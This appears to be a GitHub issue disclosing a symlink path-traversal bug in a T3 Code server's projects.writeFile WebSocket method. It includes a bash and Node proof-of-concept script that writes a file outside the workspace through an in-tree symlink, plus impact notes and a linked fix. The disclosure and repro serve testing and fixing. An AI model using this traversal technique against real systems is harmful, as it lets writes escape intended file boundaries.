-
Notifications
You must be signed in to change notification settings - Fork 805
Description
Before submitting
- I searched existing issues and did not find a duplicate.
- I included enough detail to reproduce and investigate the problem.
Area
apps/server
Steps to reproduce
Minimal deterministic repro from the repo root on main:
#!/usr/bin/env bash
set -euo pipefail
PORT=4321
LOG_FILE=$(mktemp)
WORKSPACE=$(mktemp -d)
OUTSIDE=$(mktemp -d)
RESPONSE_FILE=$(mktemp)
cleanup() {
if [[ -n "${SERVER_PID:-}" ]]; then
kill "$SERVER_PID" 2>/dev/null || true
wait "$SERVER_PID" 2>/dev/null || true
fi
rm -f "$LOG_FILE"
rm -f "$RESPONSE_FILE"
}
trap cleanup EXIT
env -u T3CODE_AUTH_TOKEN bun run --cwd apps/server dev -- --port "$PORT" --host 127.0.0.1 --no-browser >"$LOG_FILE" 2>&1 &
SERVER_PID=$!
sleep 3
ln -s "$OUTSIDE" "$WORKSPACE/linked-outside"
export WORKSPACE PORT RESPONSE_FILE
node --input-type=module <<'NODE'
const workspace = process.env.WORKSPACE;
const port = process.env.PORT;
const responseFile = process.env.RESPONSE_FILE;
const requestId = crypto.randomUUID();
const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
const fs = await import('node:fs/promises');
ws.addEventListener('message', (event) => {
const message = JSON.parse(String(event.data));
if (message.type === 'push' && message.channel === 'server.welcome') {
ws.send(JSON.stringify({
id: requestId,
body: {
_tag: 'projects.writeFile',
cwd: workspace,
relativePath: 'linked-outside/escape.txt',
contents: 'escaped via symlink\n',
},
}));
return;
}
if (message.id === requestId) {
console.log('WebSocket response:');
console.log(JSON.stringify(message, null, 2));
fs.writeFile(responseFile, `${JSON.stringify(message, null, 2)}\n`, 'utf8').catch((error) => {
console.error('Failed to persist response:', error);
});
ws.close();
}
});
NODE
printf '\nOutside file path: %s\n' "$OUTSIDE/escape.txt"
if [[ -f "$OUTSIDE/escape.txt" ]]; then
echo "VERDICT: UNFIXED/VULNERABLE"
echo "The server wrote outside the workspace through the symlink."
printf 'Outside file contents:\n'
cat "$OUTSIDE/escape.txt" || true
else
echo "VERDICT: FIXED"
echo "The server did not create the outside file."
fi
if [[ -f "$RESPONSE_FILE" ]]; then
printf '\nSaved response:\n'
cat "$RESPONSE_FILE" || true
fi
exit 0Expected behavior
projects.writeFile should reject any path that resolves outside the workspace root, even when the relative path stays lexically inside the workspace but traverses a symlinked directory.
The repro script should print VERDICT: FIXED and no outside file should be created.
Actual behavior
On main, projects.writeFile accepts linked-outside/escape.txt, returns a success result, and creates the file in the directory outside the workspace.
Observed response on vulnerable upstream main:
{
"result": {
"relativePath": "linked-outside/escape.txt"
}
}Observed verdict on vulnerable upstream main:
VERDICT: UNFIXED/VULNERABLE
The server wrote outside the workspace through the symlink.
Impact
Major degradation or frequent failure
This allows writes to escape the intended project root boundary when a workspace contains a symlink to an outside directory.
Example dangerous situations if left unfixed
- A repository can contain a symlinked directory that looks harmless in-tree but actually points to a sibling directory outside the checkout. If a user or agent later asks T3 Code to write a file under that in-tree path, the server can end up mutating files in a neighboring repo, shared config directory, or other local workspace content that was never meant to be in scope for this session.
- Any local integration, automation, or script that already has the ability to call
projects.writeFilegains a larger blast radius than intended. Instead of being constrained to the selected workspace, it can write through an existing symlink and modify deployment manifests, generated artifacts, or shared files outside the workspace while the request still appears to target an in-workspace relative path.
These are illustrative examples rather than separate vulnerabilities. The core issue is that a caller who is allowed to write inside the workspace can use a symlinked directory to cause a write outside that workspace.
Version or commit
Verified vulnerable on main @ 46ea594.
Environment
macOS, Bun 1.3.9, Node built-in WebSocket client, bun run --cwd apps/server dev -- --port 4321 --host 127.0.0.1 --no-browser
Logs, stack traces, or screenshots
Relevant success response from vulnerable main:
{
"id": "3249b28e-2a03-480e-b3ec-35d2edaa6eff",
"result": {
"relativePath": "linked-outside/escape.txt"
}
}Workaround
No reliable server-side workaround other than avoiding projects.writeFile operations in workspaces that contain symlinks to locations outside the workspace root, or applying the canonical-path fix.
Additional context
A draft fix PR is open: #1071
Related, but distinct: #316 reports a broader issue where WebSocket methods trust arbitrary client-supplied cwd values and can therefore operate in any directory the server can access. This issue is narrower and different: it shows that even when a caller is already operating against a chosen workspace, projects.writeFile can still escape that workspace boundary by traversing an in-tree symlink. Both involve filesystem-boundary enforcement, but they are not duplicates and require different guards.